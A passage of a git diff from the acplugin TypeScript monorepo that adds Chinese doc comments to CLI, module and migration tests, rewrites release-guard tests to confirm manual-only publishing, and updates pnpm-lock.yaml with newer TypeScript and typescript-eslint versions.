创建包含最小 Skill 和可选自定义配置的测试工程。 + * + * @param config 可选的完整配置源码。 + * @returns 自动登记清理的工程绝对路径。 + */ async function project(config = ''): Promise { const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-build-test-')); roots.push(root); diff --git a/packages/test/test/cli.test.ts b/packages/test/test/cli.test.ts index e383bef..c87c692 100644 --- a/packages/test/test/cli.test.ts +++ b/packages/test/test/cli.test.ts @@ -4,30 +4,52 @@ import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; +/** 构建后 CLI 入口的绝对路径,用于真实子进程契约测试。 */ const cli = path.resolve(import.meta.dirname, '../../acplugin/dist/cli.mjs'); +/** 当前测试创建并在 afterEach 中统一删除的临时工程目录。 */ const roots: string[] = []; +/** 尚未退出的 CLI 子进程,失败清理时会被强制终止。 */ const children = new Set(); +/** 正在运行的 CLI 子进程及其增量输出读取接口。 */ interface RunningCli { + /** 可写 stdin、可监听退出事件的真实 Node 子进程。 */ child: ChildProcessWithoutNullStreams; + /** @returns 当前累计 stdout。 */ stdout(): string; + /** @returns 当前累计 stderr。 */ stderr(): string; } +/** + * 创建当前 CLI 测试独占的临时工程目录。 + * + * @returns 自动登记清理的绝对路径。 + */ async function temporaryProject(): Promise { const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-cli-test-')); roots.push(root); return root; } +/** + * 启动真实 CLI 子进程并持续捕获 stdout/stderr。 + * + * @param args 传给 CLI 的参数。 + * @param cwd 子进程工作目录。 + * @returns 可等待、终止和读取增量输出的运行记录。 + */ function startCli(args: readonly string[], cwd: string): RunningCli { + /** 继承环境但关闭颜色的 CLI 子进程。 */ const child = spawn(process.execPath, [cli, ...args], { cwd, stdio: ['pipe', 'pipe', 'pipe'], env: { ...process.env, NO_COLOR: '1' }, }); children.add(child); + /** 当前累计标准输出。 */ let stdout = ''; + /** 当前累计标准错误。 */ let stderr = ''; child.stdout.setEncoding('utf8').on('data', chunk => stdout += chunk); child.stderr.setEncoding('utf8').on('data', chunk => stderr += chunk); @@ -35,7 +57,14 @@ function startCli(args: readonly string[], cwd: string): RunningCli { return { child, stdout: () => stdout, stderr: () => stderr }; } +/** + * 等待 CLI 子进程退出并返回最终输出快照。 + * + * @param running startCli 返回的运行记录。 + * @returns 退出码和完整 stdout/stderr。 + */ async function waitForExit(running: RunningCli): Promise<{ code: number | null; stdout: string; stderr: string }> { + /** close 事件提供的进程退出码。 */ const code = await new Promise((resolve, reject) => { running.child.once('error', reject); running.child.once('close', resolve); @@ -43,12 +72,27 @@ async function waitForExit(running: RunningCli): Promise<{ code: number | null; return { code, stdout: running.stdout(), stderr: running.stderr() }; } +/** + * 执行一个不需要持续 stdin 的 CLI 命令并等待退出。 + * + * @param args 传给 CLI 的参数。 + * @param cwd 子进程工作目录。 + * @returns 退出码和完整输出。 + */ async function runCli(args: readonly string[], cwd: string): Promise<{ code: number | null; stdout: string; stderr: string }> { + /** 当前一次性 CLI 命令的运行记录。 */ const running = startCli(args, cwd); running.child.stdin.end(); return waitForExit(running); } +/** + * 等待持续运行 CLI 的输出满足断言条件,并带超时和提前退出诊断。 + * + * @param running 正在运行的 CLI。 + * @param predicate 判断累计输出是否已满足条件的函数。 + * @param description 超时错误使用的等待目标描述。 + */ async function waitForOutput( running: RunningCli, predicate: (stdout: string, stderr: string) => boolean, @@ -57,12 +101,16 @@ async function waitForOutput( if (predicate(running.stdout(), running.stderr())) return; await new Promise((resolve, reject) => { + /** 防止 dev 子进程异常挂起测试的超时器。 */ const timeout = setTimeout(() => finish(new Error(`Timed out waiting for ${description}.\nstdout:\n${running.stdout()}\nstderr:\n${running.stderr()}`)), 10_000); + /** 每次收到输出时重新检查等待条件。 */ const check = (): void => { if (predicate(running.stdout(), running.stderr())) finish(); }; + /** CLI 提前退出时生成带退出码的等待失败。 */ const closed = (code: number | null): void => finish(new Error(`CLI exited with ${code} while waiting for ${description}.`)); + /** 清理所有监听器并只完成一次 Promise。 */ const finish = (error?: Error): void => { clearTimeout(timeout); running.child.stdout.off('data', check); @@ -79,6 +127,11 @@ async function waitForOutput( }); } +/** + * 写入可供 validate/inspect/build/dev 共同使用的最小规范工程。 + * + * @param root 测试工程根目录。 + */ async function writeValidProject(root: string): Promise { await fs.mkdir(path.join(root, 'src/skills/hello'), { recursive: true }); await fs.writeFile(path.join(root, 'acplugin.config.ts'), `export default { diff --git a/packages/test/test/init.test.ts b/packages/test/test/init.test.ts index e034f0f..8e9558c 100644 --- a/packages/test/test/init.test.ts +++ b/packages/test/test/init.test.ts @@ -4,6 +4,7 @@ import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; import { initializeProject } from '@tokenroll/acplugin'; +/** 当前测试创建并在 afterEach 中统一删除的临时目录。 */ const roots: string[] = []; afterEach(async () => { @@ -19,6 +20,9 @@ describe('init', () => { expect(result.directory).toBe('demo-plugin'); expect(result.modules).toEqual([]); expect(await fs.readFile(path.join(cwd, 'demo-plugin/src/skills/demo-plugin/SKILL.md'), 'utf8')).toContain('description:'); + expect(JSON.parse(await fs.readFile(path.join(cwd, 'demo-plugin/package.json'), 'utf8'))).toMatchObject({ + devDependencies: { typescript: '^7.0.2' }, + }); }); it('adds selected Modules without generating fake handlers or servers', async () => { diff --git a/packages/test/test/migration.test.ts b/packages/test/test/migration.test.ts index 76a4141..84d393e 100644 --- a/packages/test/test/migration.test.ts +++ b/packages/test/test/migration.test.ts @@ -5,7 +5,9 @@ import { afterEach, describe, expect, it } from 'vitest'; import { migrate } from '../../acplugin/src/migration/index.js'; import { parseGitHubSource } from '../../acplugin/src/migration/legacy/github.js'; +/** 当前测试创建并在 afterEach 中统一删除的临时目录。 */ const roots: string[] = []; +/** 仓库内用于验证旧 Claude 工程迁移的固定 Fixture。 */ const legacyProjectFixture = path.resolve(import.meta.dirname, '../fixtures/migration/claude-project'); afterEach(async () => { @@ -35,6 +37,9 @@ describe('legacy Migration', () => { expect(report.sourceType).toBe('project'); expect(report.items).toContainEqual(expect.objectContaining({ kind: 'instruction', outcome: 'unmapped' })); expect(await fs.readFile(path.join(root, 'migrated/src/skills/my-skill/SKILL.md'), 'utf8')).toContain('description:'); + expect(JSON.parse(await fs.readFile(path.join(root, 'migrated/package.json'), 'utf8'))).toMatchObject({ + devDependencies: { typescript: '^7.0.2' }, + }); expect(JSON.parse(await fs.readFile(path.join(root, 'migrated/.acplugin-migration/report.json'), 'utf8'))).toMatchObject({ schemaVersion: '1' }); }); diff --git a/packages/test/test/modules.test.ts b/packages/test/test/modules.test.ts index e7dfdd4..d792ee5 100644 --- a/packages/test/test/modules.test.ts +++ b/packages/test/test/modules.test.ts @@ -13,12 +13,23 @@ import { codexCompiler } from '@acplugin/compiler-codex'; import hooks, { defineHook } from '@tokenroll/acplugin-module-hooks'; import mcp, { defineMcpServer } from '@tokenroll/acplugin-module-mcp'; +/** 当前测试创建并在 afterEach 中统一删除的临时工程目录。 */ const roots: string[] = []; +/** + * 执行构建产物中的 Hook Handler 或本地 MCP Server 并捕获完整输出。 + * + * @param file 待执行 ESM 文件。 + * @param input 写入进程 stdin 的协议输入。 + * @returns 子进程退出码和完整 stdout/stderr。 + */ async function runNode(file: string, input: string): Promise<{ code: number | null; stdout: string; stderr: string }> { return new Promise((resolve, reject) => { + /** 真实执行目标 Bundle 的 Node 子进程。 */ const child = spawn(process.execPath, [file], { stdio: ['pipe', 'pipe', 'pipe'] }); + /** 子进程累计标准输出。 */ let stdout = ''; + /** 子进程累计标准错误。 */ let stderr = ''; child.stdout.setEncoding('utf8').on('data', chunk => stdout += chunk); child.stderr.setEncoding('utf8').on('data', chunk => stderr += chunk); @@ -94,16 +105,19 @@ process.stdin.on('data', (chunk) => { event: 'PreToolUse', matcher: 'Bash', timeout: 5, + /** 返回可验证目标平台决策映射的 allow 结果。 */ async run() { return { decision: 'allow' }; }, }); const permissionDefinition = defineHook({ event: 'PermissionRequest', + /** 返回应被 Codex 映射为空输出的 defer 结果。 */ async run() { return { decision: 'defer' }; }, }); const compactDefinition = defineHook({ event: 'PreCompact', + /** 返回应被 Codex 映射为空输出的 continue 结果。 */ async run() { return { decision: 'continue' }; }, @@ -111,6 +125,7 @@ process.stdin.on('data', (chunk) => { const invalidSessionEndDefinition = { __acpluginHook: true, event: 'SessionEnd', + /** 故意返回事件契约不允许的决策,验证运行时结果校验。 */ async run() { return { decision: 'stop' }; }, diff --git a/packages/test/test/repository.test.ts b/packages/test/test/repository.test.ts index c6d6ae6..7fd1676 100644 --- a/packages/test/test/repository.test.ts +++ b/packages/test/test/repository.test.ts @@ -1,43 +1,72 @@ -import { execFile } from 'node:child_process'; import { promises as fs } from 'node:fs'; import path from 'node:path'; -import { promisify } from 'node:util'; import { fileURLToPath } from 'node:url'; import { describe, expect, it } from 'vitest'; -const execFileAsync = promisify(execFile); +/** 当前 monorepo 根目录,用于读取工作流、清单与稳定文档。 */ const root = fileURLToPath(new URL('../../..', import.meta.url)); +/** + * 读取仓库根目录下的 UTF-8 文件。 + * + * @param relativePath 仓库相对路径。 + * @returns 文件内容。 + */ async function read(relativePath: string): Promise { return fs.readFile(path.join(root, relativePath), 'utf8'); } describe('repository release and documentation guards', () => { - it('accepts only a tag matching the fixed public cohort', async () => { - const manifest = JSON.parse(await read('packages/acplugin/package.json')) as { version: string }; - await expect(execFileAsync(process.execPath, ['scripts/verify-release-cohort.mjs', `tokenroll-v${manifest.version}`], { cwd: root })).resolves.toMatchObject({ - stdout: expect.stringContaining(`Verified fixed @tokenroll/acplugin ${manifest.version} release cohort`), - }); - await expect(execFileAsync(process.execPath, ['scripts/verify-release-cohort.mjs', 'tokenroll-v9.9.9'], { cwd: root })).rejects.toThrow(`must equal tokenroll-v${manifest.version}`); + it('keeps the public packages in one manually publishable cohort', async () => { + const packageFiles = [ + 'packages/acplugin/package.json', + 'packages/module-hooks/package.json', + 'packages/module-mcp/package.json', + ]; + const manifests = await Promise.all(packageFiles.map(async file => JSON.parse(await read(file)) as { + name: string; + version: string; + private?: boolean; + publishConfig?: { access?: string; provenance?: boolean }; + })); + const changeset = JSON.parse(await read('.changeset/config.json')) as { fixed: string[][] }; + + expect(new Set(manifests.map(manifest => manifest.version)).size).toBe(1); + expect(manifests.map(manifest => manifest.name)).toEqual([ + '@tokenroll/acplugin', + '@tokenroll/acplugin-module-hooks', + '@tokenroll/acplugin-module-mcp', + ]); + expect(manifests.every(manifest => manifest.private !== true)).toBe(true); + expect(manifests.every(manifest => manifest.publishConfig?.access === 'public')).toBe(true); + expect(manifests.every(manifest => manifest.publishConfig?.provenance === undefined)).toBe(true); + expect(changeset.fixed).toContainEqual(expect.arrayContaining(manifests.map(manifest => manifest.name))); }); - it('keeps the release workflow dependency-safe and credentialless', async () => { - const workflow = await read('.github/workflows/publish-npm.yml'); - const publisher = await read('scripts/publish-release-cohort.mjs'); - const hooks = publisher.indexOf('@tokenroll/acplugin-module-hooks'); - const mcp = publisher.indexOf('@tokenroll/acplugin-module-mcp'); - const main = publisher.indexOf('@tokenroll/acplugin', mcp + 1); - - expect(workflow).toContain('tags:\n - "tokenroll-v*"'); - expect(workflow).toContain('node scripts/verify-release-cohort.mjs "$GITHUB_REF_NAME"'); - expect(workflow).toContain('run: node scripts/publish-release-cohort.mjs'); - expect(hooks).toBeGreaterThan(-1); - expect(mcp).toBeGreaterThan(hooks); - expect(main).toBeGreaterThan(mcp); - expect(`${workflow}\n${publisher}`).not.toMatch(/NPM_TOKEN|npm-token|npm unpublish|npm dist-tag/i); - await expect(execFileAsync(process.execPath, ['scripts/publish-release-cohort.mjs', '--self-test'], { cwd: root })).resolves.toMatchObject({ - stdout: expect.stringContaining('Verified release cohort exact-version skip and bounded retry behavior.'), - }); + it('does not expose an automated publication path', async () => { + const check = await read('.github/workflows/check.yml'); + const patch = await read('.github/workflows/patch.yml'); + + await expect(fs.access(path.join(root, '.github/workflows/publish-npm.yml'))).rejects.toThrow(); + await expect(fs.access(path.join(root, 'scripts/publish-release-cohort.mjs'))).rejects.toThrow(); + await expect(fs.access(path.join(root, 'scripts/verify-release-cohort.mjs'))).rejects.toThrow(); + expect(`${check}\n${patch}`).not.toMatch(/npm publish|pnpm publish|gh release|id-token: write|NPM_TOKEN/i); + }); + + it('checks pull requests and creates version PRs only on manual dispatch', async () => { + const check = await read('.github/workflows/check.yml'); + const patch = await read('.github/workflows/patch.yml'); + + expect(check).toContain('pull_request:'); + expect(check).not.toMatch(/\bpush:/); + expect(check).toContain('pnpm run lint'); + expect(check).toContain('pnpm run typecheck'); + expect(check).not.toMatch(/pnpm run (?:test|build|release:verify)/); + expect(patch).toContain('workflow_dispatch:'); + expect(patch).toContain('target_branch:'); + expect(patch).toContain('pnpm version-packages'); + expect(patch).toContain('peter-evans/create-pull-request@v8'); + expect(patch).toContain('base: ${{ inputs.target_branch }}'); }); it('keeps current docs free of the retired namespace and CLI', async () => { @@ -48,10 +77,15 @@ describe('repository release and documentation guards', () => { 'llmdoc/index.md', 'llmdoc/startup.md', 'llmdoc/overview/project.md', + 'llmdoc/overview/project.zh-CN.md', 'llmdoc/architecture/system.md', + 'llmdoc/architecture/system.zh-CN.md', 'llmdoc/guides/usage.md', + 'llmdoc/guides/usage.zh-CN.md', 'llmdoc/guides/release.md', + 'llmdoc/guides/release.zh-CN.md', 'llmdoc/reference/conversion-matrix.md', + 'llmdoc/reference/conversion-matrix.zh-CN.md', ].map(read)); const currentDocumentation = docs.join('\n'); diff --git a/packages/test/vitest.config.ts b/packages/test/vitest.config.ts index 2c5fea9..535f708 100644 --- a/packages/test/vitest.config.ts +++ b/packages/test/vitest.config.ts @@ -1,10 +1,17 @@ import { fileURLToPath } from 'node:url'; import { defineConfig } from 'vitest/config'; +/** + * 把测试工作区相对路径解析为可供 Vitest Alias 使用的绝对源码入口。 + * + * @param path 相对于 packages/test 的入口路径。 + * @returns 绝对文件系统路径。 + */ function workspaceSource(path: string): string { return fileURLToPath(new URL(path, import.meta.url)); } +// 集成测试直接 Alias 到工作区源码;pretest 仍会构建 CLI 与公开 Module 以覆盖真实产物路径。 export default defineConfig({ test: { environment: 'node', diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index d30f7d1..b9368fb 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -6,125 +6,62 @@ settings: catalogs: default: - '@arethetypeswrong/core': - specifier: ^0.18.5 - version: 0.18.5 - '@changesets/cli': - specifier: ^2.31.1 - version: 2.31.1 - '@eslint/js': - specifier: ^10.0.1 - version: 10.0.1 - '@iarna/toml': - specifier: ^2.2.5 - version: 2.2.5 - '@inquirer/prompts': - specifier: ^8.3.2 - version: 8.5.2 - '@stylistic/eslint-plugin': - specifier: ^5.10.0 - version: 5.10.0 '@types/node': specifier: ^20.19.0 version: 20.19.43 - '@types/semver': - specifier: ^7.7.1 - version: 7.8.0 - chalk: - specifier: ^5.6.2 - version: 5.6.2 - chokidar: - specifier: ^5.0.0 - version: 5.0.0 - commander: - specifier: ^15.0.0 - version: 15.0.0 - eslint: - specifier: ^10.8.0 - version: 10.8.0 - glob: - specifier: ^13.0.6 - version: 13.0.6 - gray-matter: - specifier: ^4.0.3 - version: 4.0.3 - husky: - specifier: ^9.1.7 - version: 9.1.7 - jiti: - specifier: ^2.7.0 - version: 2.7.0 - lint-staged: - specifier: ^17.2.0 - version: 17.2.0 - ora: - specifier: ^5.4.1 - version: 5.4.1 - publint: - specifier: ^0.3.23 - version: 0.3.23 rolldown: specifier: ^1.2.2 version: 1.2.2 - semver: - specifier: ^7.8.5 - version: 7.8.5 tsdown: specifier: ^0.22.14 version: 0.22.14 typescript: - specifier: ^5.9.3 - version: 5.9.3 - typescript-eslint: - specifier: ^8.65.0 - version: 8.65.0 + specifier: ^7.0.2 + version: 7.0.2 vitest: specifier: ^4.1.10 version: 4.1.10 - yaml: - specifier: ^2.9.0 - version: 2.9.0 importers: .: devDependencies: '@arethetypeswrong/core': - specifier: 'catalog:' + specifier: ^0.18.5 version: 0.18.5 '@changesets/cli': - specifier: 'catalog:' + specifier: ^2.31.1 version: 2.31.1(@types/node@20.19.43) '@eslint/js': - specifier: 'catalog:' + specifier: ^10.0.1 version: 10.0.1(eslint@10.8.0(jiti@2.7.0)) '@stylistic/eslint-plugin': - specifier: 'catalog:' + specifier: ^5.10.0 version: 5.10.0(eslint@10.8.0(jiti@2.7.0)) '@types/node': specifier: 'catalog:' version: 20.19.43 eslint: - specifier: 'catalog:' + specifier: ^10.8.0 version: 10.8.0(jiti@2.7.0) husky: - specifier: 'catalog:' + specifier: ^9.1.7 version: 9.1.7 lint-staged: - specifier: 'catalog:' + specifier: ^17.2.0 version: 17.2.0 publint: - specifier: 'catalog:' + specifier: ^0.3.23 version: 0.3.23 tsdown: specifier: 'catalog:' - version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@5.9.3) + version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@6.0.3) typescript: - specifier: 'catalog:' - version: 5.9.3 + specifier: ^6.0.3 + version: 6.0.3 typescript-eslint: - specifier: 'catalog:' - version: 8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3) + specifier: ^8.66.0 + version: 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) vitest: specifier: 'catalog:' version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) @@ -132,31 +69,31 @@ importers: packages/acplugin: dependencies: '@iarna/toml': - specifier: 'catalog:' + specifier: ^2.2.5 version: 2.2.5 '@inquirer/prompts': - specifier: 'catalog:' + specifier: ^8.3.2 version: 8.5.2(@types/node@20.19.43) chalk: - specifier: 'catalog:' + specifier: ^5.6.2 version: 5.6.2 chokidar: - specifier: 'catalog:' + specifier: ^5.0.0 version: 5.0.0 commander: - specifier: 'catalog:' + specifier: ^15.0.0 version: 15.0.0 glob: - specifier: 'catalog:' + specifier: ^13.0.6 version: 13.0.6 gray-matter: - specifier: 'catalog:' + specifier: ^4.0.3 version: 4.0.3 jiti: - specifier: 'catalog:' + specifier: ^2.7.0 version: 2.7.0 ora: - specifier: 'catalog:' + specifier: ^5.4.1 version: 5.4.1 devDependencies: '@acplugin/compiler-claude-code': @@ -173,10 +110,10 @@ importers: version: 20.19.43 tsdown: specifier: 'catalog:' - version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@5.9.3) + version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@7.0.2) typescript: specifier: 'catalog:' - version: 5.9.3 + version: 7.0.2 vitest: specifier: 'catalog:' version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) @@ -192,10 +129,10 @@ importers: version: 20.19.43 tsdown: specifier: 'catalog:' - version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@5.9.3) + version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@7.0.2) typescript: specifier: 'catalog:' - version: 5.9.3 + version: 7.0.2 vitest: specifier: 'catalog:' version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) @@ -211,10 +148,10 @@ importers: version: 20.19.43 tsdown: specifier: 'catalog:' - version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@5.9.3) + version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@7.0.2) typescript: specifier: 'catalog:' - version: 5.9.3 + version: 7.0.2 vitest: specifier: 'catalog:' version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) @@ -222,24 +159,24 @@ importers: packages/core: dependencies: semver: - specifier: 'catalog:' + specifier: ^7.8.5 version: 7.8.5 yaml: - specifier: 'catalog:' + specifier: ^2.9.0 version: 2.9.0 devDependencies: '@types/node': specifier: 'catalog:' version: 20.19.43 '@types/semver': - specifier: 'catalog:' + specifier: ^7.7.1 version: 7.8.0 tsdown: specifier: 'catalog:' - version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@5.9.3) + version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@7.0.2) typescript: specifier: 'catalog:' - version: 5.9.3 + version: 7.0.2 vitest: specifier: 'catalog:' version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) @@ -258,10 +195,10 @@ importers: version: 20.19.43 tsdown: specifier: 'catalog:' - version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@5.9.3) + version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@7.0.2) typescript: specifier: 'catalog:' - version: 5.9.3 + version: 7.0.2 vitest: specifier: 'catalog:' version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) @@ -280,10 +217,10 @@ importers: version: 20.19.43 tsdown: specifier: 'catalog:' - version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@5.9.3) + version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@7.0.2) typescript: specifier: 'catalog:' - version: 5.9.3 + version: 7.0.2 vitest: specifier: 'catalog:' version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) @@ -314,7 +251,7 @@ importers: version: 20.19.43 typescript: specifier: 'catalog:' - version: 5.9.3 + version: 7.0.2 vitest: specifier: 'catalog:' version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) @@ -1049,39 +986,39 @@ packages: '@types/semver@7.8.0': resolution: {integrity: sha512-1mAINjtQCXXeLkJ9ehXkwOcBpqtLxiVtKhpUf83DdRNdQKV0iXZpaHYqRr7nj+wvxuJzoAmAwXI+sCNMv1CzLQ==} - '@typescript-eslint/eslint-plugin@8.65.0': - resolution: {integrity: sha512-IEgob78X12rHpUmtcwFsXhZdVGJtwTVP8FiCLZkR6GlYVrl2PcuB+KhCE5BlVC/eQpQnu8WXRtkHZuPar+gCRA==} + '@typescript-eslint/eslint-plugin@8.66.0': + resolution: {integrity: sha512-p088eaGrzYz1s+7cov0aMOCkNGTJlVxF4jgubf28c8L0Cv9Rloj8YBHnv4hXLq6IIEE1AsjNWavO+k+8kP2Y0A==} engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} peerDependencies: - '@typescript-eslint/parser': ^8.65.0 + '@typescript-eslint/parser': ^8.66.0 eslint: ^8.57.0 || ^9.0.0 || ^10.0.0 typescript: '>=4.8.4 <6.1.0' - '@typescript-eslint/parser@8.65.0': - resolution: {integrity: sha512-CZ4nMxWwgu1HEEFNkeaCptra9QCtkmKdgf3sWh1rl1trIhmxLilgTV4cwcbQ4wemnT4sWQN8CaKOmdYx+g2gMA==} + '@typescript-eslint/parser@8.66.0': + resolution: {integrity: sha512-X6ypGChaWYk6PBtUg2BwuTZEFFcHJAtGTVJ9/lCTOufhZ4i9fNolQNnktq+kkMCwMj7V8Svsq7+TxSDslmhE0g==} engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} peerDependencies: eslint: ^8.57.0 || ^9.0.0 || ^10.0.0 typescript: '>=4.8.4 <6.1.0' - '@typescript-eslint/project-service@8.65.0': - resolution: {integrity: sha512-SxnPhbTsGahizDgbu7oqFH/xVtzIqMd/s+WtnSxNxJZJpLbdT5IPdzg8EZxO3+PoKahXmwJLeNQOpKJb3/bi7Q==} + '@typescript-eslint/project-service@8.66.0': + resolution: {integrity: sha512-7MthGPTt4BP69lSryqpqq8HQqxuzynssckL/jyDyk3+TNMQ3y2jFWkptCrktWvBrP+EH787Nl5N5Qpw7WZg+5g==} engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} peerDependencies: typescript: '>=4.8.4 <6.1.0' - '@typescript-eslint/scope-manager@8.65.0': - resolution: {integrity: sha512-Esbl8OSYiVxBokYgWPf7VVWg/BE798wXhimnn9ML9Pt5qoDf8bfQlgjlKXR/k98+AcNzlLKYrpCcrcuZ9DZLgg==} + '@typescript-eslint/scope-manager@8.66.0': + resolution: {integrity: sha512-8TGcH25j9zqJ/IULB/ppyhRvxA8QYfFEZ7nfbg6/BN9spDgb8fPWQXlE5l8TWBL50EtUx007uZ1o9VOwrq2/9g==} engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - '@typescript-eslint/tsconfig-utils@8.65.0': - resolution: {integrity: sha512-j6GzGqCiRdA7Qhur2VVmKZAkBLfnHFQfx4TaJGL9RMveZqCo48jSHHO0DTgizEnGhtWnqmbtCUSrqSkdiY/0Hg==} + '@typescript-eslint/tsconfig-utils@8.66.0': + resolution: {integrity: sha512-9D5gLYZG4rOjcoag8MQ/fWI8WqA9wcPDyOGyWtWFhvM1lHRbliqUSPIY5J3zqCU1tvSwzXxnnjhQhz5Ne7mJ4g==} engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} peerDependencies: typescript: '>=4.8.4 <6.1.0' - '@typescript-eslint/type-utils@8.65.0': - resolution: {integrity: sha512-YjaZ7PRI5qY7ax2L3PbvX0rRyGtipAReCWs0mhhDBHjH/vl0g0BonaGXrKdKpMbIIsMIwDgbk/xzkBTyAltS5g==} + '@typescript-eslint/type-utils@8.66.0': + resolution: {integrity: sha512-LG2dWfjZQQp0ADtAu/EWJVayefGL2UEZ3CDeI44D9v3rXB/WYUqE/jpO28KrEKul5AySrmI+Zh1v6v+xW2U9+g==} engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} peerDependencies: eslint: ^8.57.0 || ^9.0.0 || ^10.0.0 @@ -1091,23 +1028,147 @@ packages: resolution: {integrity: sha512-JSSwWNy+H0E/01jJEM+hrX6N0OFDzFzeIhHFSAS01tlVaevpG8cFyYRPhS5yjGOvBUx3sqQHVMjCL1CAZZMxBg==} engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - '@typescript-eslint/typescript-estree@8.65.0': - resolution: {integrity: sha512-JboAE2swaYt4tb1fHhHTABE2K+OLy09XfcTbhnk4Pw96f9dd2e9iYsJ28gBggHlo5z5x1rkyWvcPoTuNTd4oGg==} + '@typescript-eslint/types@8.66.0': + resolution: {integrity: sha512-H6gcYaSDOyvL3AD/jHUtUFo2jqGgn/F6nuyuZSu0QTesxL+cP4dQoIMrODRofuJC09g64+WgZ6tE19Y1N2YIFQ==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@typescript-eslint/typescript-estree@8.66.0': + resolution: {integrity: sha512-8/x4INiiQb10jGgXYD7116/zQ+OL84ZIFn0za68wwFHCanT/VLbBEroWht8RV8fn0/ZCAoazHLQgwUC0UQcDfg==} engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} peerDependencies: typescript: '>=4.8.4 <6.1.0' - '@typescript-eslint/utils@8.65.0': - resolution: {integrity: sha512-gXiwIHsYreboxeJucHKPvgwl7dXt50mF8s1/c00cP/WoVTyWKFdtfhRWwZiXYFU5H2O8vVoSLNrexFZjYS/SGA==} + '@typescript-eslint/utils@8.66.0': + resolution: {integrity: sha512-jasearZPolBw5NJNYGMwxzHMF83niVWmMU1VdHzG1CyfI2VS7f7nZltnKtHcg20hW+7Uo5GfK4MeDPoU3qI8EA==} engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} peerDependencies: eslint: ^8.57.0 || ^9.0.0 || ^10.0.0 typescript: '>=4.8.4 <6.1.0' - '@typescript-eslint/visitor-keys@8.65.0': - resolution: {integrity: sha512-8C71BQkGjiMmXtop7pHVJu1l2NNShFdkCyD6a2ezzs5vU/L3LRtb69EtcteFwz0mYMPzIgOw0n6OV4VBUWZd7A==} + '@typescript-eslint/visitor-keys@8.66.0': + resolution: {integrity: sha512-dkKR8q+lKciskj1Y3vthHktl+3cMLWGyVUP23bRiPZ5O9BRT++4EqDDV+TVeIKBL1VXVEqrJlz8MYbcnvJcAlg==} engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + '@typescript/typescript-aix-ppc64@7.0.2': + resolution: {integrity: sha512-MTKKkWB7p/0E9xi1d1tHtZ5PiLkGEMIq88pK2CubZjOsLtYTLqhgIgi6zepFa+9GHZ6h05NMCkQxGKiPXMxXtQ==} + engines: {node: '>=16.20.0'} + cpu: [ppc64] + os: [aix] + + '@typescript/typescript-darwin-arm64@7.0.2': + resolution: {integrity: sha512-gowzar9MwS/aRWp6f3a4KUqzRjAZjOsmGNCM6LcTgXum+dBfgsBVMN+AgvOCCbguXyick6LJhpBszxMebJ8syA==} + engines: {node: '>=16.20.0'} + cpu: [arm64] + os: [darwin] + + '@typescript/typescript-darwin-x64@7.0.2': + resolution: {integrity: sha512-SZ9xZInqApNlNGc9s0W1VSsktYSOe9cFqNOIqmN1Gs8SmkjKZYFt017G4VwPxASInODuAdbTW7sXiFUf893RgA==} + engines: {node: '>=16.20.0'} + cpu: [x64] + os: [darwin] + + '@typescript/typescript-freebsd-arm64@7.0.2': + resolution: {integrity: sha512-W5NH4y/J0plIIS5b2xvTEkU7JFxyqdMAOgf+Ilhl0vHQXKO5dZoxd+C/jEtq56c4F3wk71RB4BMRQ2XdI+bwYQ==} + engines: {node: '>=16.20.0'} + cpu: [arm64] + os: [freebsd] + + '@typescript/typescript-freebsd-x64@7.0.2': + resolution: {integrity: 